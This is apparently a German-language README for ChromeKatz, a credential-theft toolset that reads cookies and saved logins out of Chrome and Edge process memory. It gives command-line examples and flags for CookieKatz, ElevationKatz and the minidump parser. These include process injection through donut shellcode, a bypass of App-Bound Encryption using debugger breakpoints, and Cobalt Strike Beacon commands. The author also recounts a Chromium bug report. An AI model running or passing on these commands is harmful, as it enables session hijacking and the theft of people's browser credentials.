
Cookies und Anmeldedaten direkt aus dem Prozessspeicher von Chrome/Edge auslesen.
ChromeKatz ist eine Lösung zum Auslesen sensibler Informationen aus dem Speicher von Chromium-basierten Browsern. Derzeit besteht ChromeKatz aus drei Projekten:
CookieKatz ist als EXE, Beacon Object File und Minidump-Parser verfügbar. Ebenso gibt es ElevationKatz als ausführbare Datei und Beacon Object File.
ElevationKatz ist nun in der Lage, die Cookie- und Anmeldedatenbanken aus dem Browser-Speicher zu parsen und für dich zu entschlüsseln.
CookieKatz wurde komplett überarbeitet, um eine wesentlich robustere Methode zum Auffinden der Cookies zu verwenden! Die neue Methode unterstützt auch ältere Browserversionen. Jetzt gibt es ein neues Flag /inject in CookieKatz, um die App-Bound-Encryption bei relevanten Browsern zu umgehen!
Ich brauche einen Kaffee, und meine Katzen auch!
CookieKatz ist ein Projekt, das es Operatoren ermöglicht, Cookies aus Chrome, Edge oder Msedgewebview2 direkt aus dem Prozessspeicher auszulesen. Chromium-basierte Browser laden beim Start alle ihre Cookies aus der auf der Festplatte gespeicherten Cookie-Datenbank.
Die Vorteile dieses Ansatzes sind*:
Diese Aussagen gelten weiterhin für einige Browser/Anwendungen. Für die neuesten Versionen von Chrome musst du in den Prozess injizieren. ... Oder verwende ElevationKatz
32-Bit-Browserinstallationen werden nicht unterstützt, und 32-Bit-Builds von CookieKatz werden ebenfalls nicht unterstützt.
Derzeit werden nur reguläre Cookies ausgelesen. Chromium speichert Partitioned Cookies an einem anderen Ort; diese sind derzeit nicht im Dump enthalten.
Diese Lösung besteht aus drei Projekten: CookieKatz, eine PE-Executable, CookieKatz-BOF, eine Beacon-Object-File-Version, und CookieKatzMinidump, der Minidump-Parser.
WICHTIG! Wenn du eine PID als Ziel auswählst, verwende die Befehle /list bzw. cookie-katz-find, um den richtigen Unterprozess auszuwählen!
Examples:
.\CookieKatz.exe
By default targets first available Chrome process
.\CookieKatz.exe /edge
Targets first available Edge process
.\CookieKatz.exe /pid:<pid>
Attempts to target given pid, expecting it to be Chrome
.\CookieKatz.exe /webview /pid:<pid>
Targets the given msedgewebview2 process
.\CookieKatz.exe /list /webview
Lists available webview processes
.\CookieKatz.exe /inject
Targets the current process. Use this flag when your are injecting CookieKatz to Chrome process.
TIP! If you need to inject CookieKatz into the Chrome process, you can turn the exe into shellcode using donut:
.\donut.exe -a 2 --input <Path_to_CookieKatz.exe> -z 4 -b 1 -p "/inject" -t
Flags:
/edge Target current user Edge process
/webview Target current user Msedgewebview2 process
/pid Attempt to dump given pid, for example, someone else's if running elevated
/list List targettable processes, use with /edge or /webview to target other browsers
/inject Indicate that the process will run in the target process
/out Write output to file, default location is "C:\Users\Public\Documents\cookies.log"
/help This what you just did! -h works as well
beacon> help cookie-katz
Dump cookies from Chrome or Edge
Use: cookie-katz [chrome|edge|webview] [pid]
beacon> help cookie-katz-find
Find processes for Cookie-Katz
Use: cookie-katz-find [chrome|edge|webview]
Usage:
CookieKatzMinidump.exe <Path_to_minidump_file>
Example:
.\CookieKatzMinidump.exe .\msedge.DMP
To target correct process for creating the minidump, you can use the following PowerShell command:
Get-WmiObject Win32_Process | where {$_.CommandLine -match 'network.mojom.NetworkService'} | select -Property Name,ProcessId
ElevationKatz ermöglicht es Operatoren, den Browser-Profilverschlüsselungsschlüssel aus dem Speicher auszulesen, um Zugriff auf sensible Benutzerinformationen zu erhalten. Dies funktioniert, indem ein neuer Browserprozess angehalten gestartet, Breakpoints gesetzt und der Schlüssel ausgelesen wird, sobald der Browserprozess ihn vom Elevator-Dienst erhält.
Die Vorteile dieses Ansatzes sind:
ElevationKatz startet einen neuen Browserprozess im angehaltenen Zustand und hängt einen Debugger an ihn an. Anschließend scannt es die Browser-DLL, um die Anweisung zu finden, an der der Browser vom Aufruf von os_crypt::DecryptAppBoundString zurückkehrt, und setzt unmittelbar danach einen Breakpoint. Sobald der Breakpoint erreicht wird, liest das Tool den Verschlüsselungsschlüssel aus dem Speicher.
Es gibt zwei Breakpoint-Typen, aus denen der Operator wählen kann: Software- und Hardware-Breakpoints.
Zusätzlich gibt es für HW-Breakpoints zwei unterstützte Methoden zur Thread-Enumeration: NtGetNextThread und CreateToolhelp32Snapshot. SW-Breakpoints benötigen keine Thread-Enumeration, daher hat das /tl32-Flag keinen Einfluss auf sie.
Der neue Parameter config kann verwendet werden, um die Profildatenbanken automatisch zu entschlüsseln. Dabei kommt die Technik von IHack4Falafel zum Einsatz, um die Cookie- und Login Profile-Datenbanken aus dem Browser-Speicher zu parsen, ohne die Dateien direkt anzufassen.
Hinweis: Das Auslesen funktioniert nur mit den HW-Breakpoints, da ich nicht herausfinden konnte, wie man die SW-Breakpoints ordnungsgemäß bereinigt und RIP zurückspult, um einen Absturz des Prozesses zu vermeiden.
Examples:
.\ElevationKatz.exe /chrome
Starts a new chrome process using path: C:\Program Files\Google\Chrome\Application\chrome.exe
Waits for 500 milliseconds for process to finish until forced shutdown.
.\ElevationKatz.exe /chrome /hw
Starts a new chrome process using path: C:\Program Files\Google\Chrome\Application\chrome.exe
Will use Hardware breakpoints instead of the software ones
Waits for 500 milliseconds for process to finish until forced shutdown.
.\ElevationKatz.exe /chrome /config:all\n");
Starts a new chrome process using path: C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe
Will use Hardware breakpoints instead of the software ones
Parses the cookie and credential database from the browser memory and dumps them
.\ElevationKatz.exe /edge /wait:1000
Starts a new chrome process using path: C:\Program Files(x86)\Microsoft\Edge\Application\msedge.exe
Waits for 1000 milliseconds for process to finish until forced shutdown.
.\ElevationKatz.exe /path:\"C:\Program Files\BraveSoftware\Brave - Browser\Application\brave.exe\" /module:chrome.dll
Targets the Brave browser
Flags:
/chrome Target Chrome process.
/edge Target Edge process.
/hw Use Hardware breakpoints instead of SW ones.
/tl32 Use CreateToolhelp32Snapshot to enumerate process threads when using with /HW flag
/wait:<milliseconds> Maximum time to for the debugging. Use 0 for INFINITE. Defaults to 500ms.
/path:<path_to_exe> Provide path to the process executable
/module:<some.dll> Provide alternative module to target
/config:<option> Automatically locate and dump contents of profile databases. Options. Cookies|Creds|All
/help This what you just did! -h works as well
beacon> help elevation-katz
Dump elevation service encryption key
Use: elevation-katz [chrome|edge] [useHW] [useTL32] [wait:<ms>] [terminate] [executable:<path>] [module:<path>]
Ich habe einen Bericht für das Chromium-Projekt über den Bug eingereicht, den CredentialKatz ursprünglich ausnutzte, und sie markierten ihn als „Won't fix" und sagten, dass es ihnen egal sei, ob die Anmeldedaten im Speicher verbleiben.
Plötzlich haben sie den Bug genau auf die Art und Weise behoben, die ich vorgeschlagen hatte, nachdem das Tool veröffentlicht wurde :3 https://issues.chromium.org/issues/352085708
Lade den neuesten Release-Build der ChromeKatz-BOFs hier herunter. Die ZIP-Datei enthält kompilierte BOFs und das CNA-Skript zu deren Ausführung.
Du kannst beide Projekte in Visual Studio mit der Konfiguration Release oder Debug und der Plattform x64 erstellen.
Die BOF-Version wurde mit der Visual-Studio-Vorlage bof-vs von Cobalt Strike entwickelt. Das bedeutet, dass die Debug-Konfiguration für die *-BOFs eine EXE-Datei anstelle der COFF-Datei erzeugt. Weitere Informationen zur Verwendung der Visual-Studio-Vorlage findest du hier.
Du kannst dein eigenes BOF mit nmake in der x64 Native Tools Command Prompt for VS 2022 kompilieren:
nmake all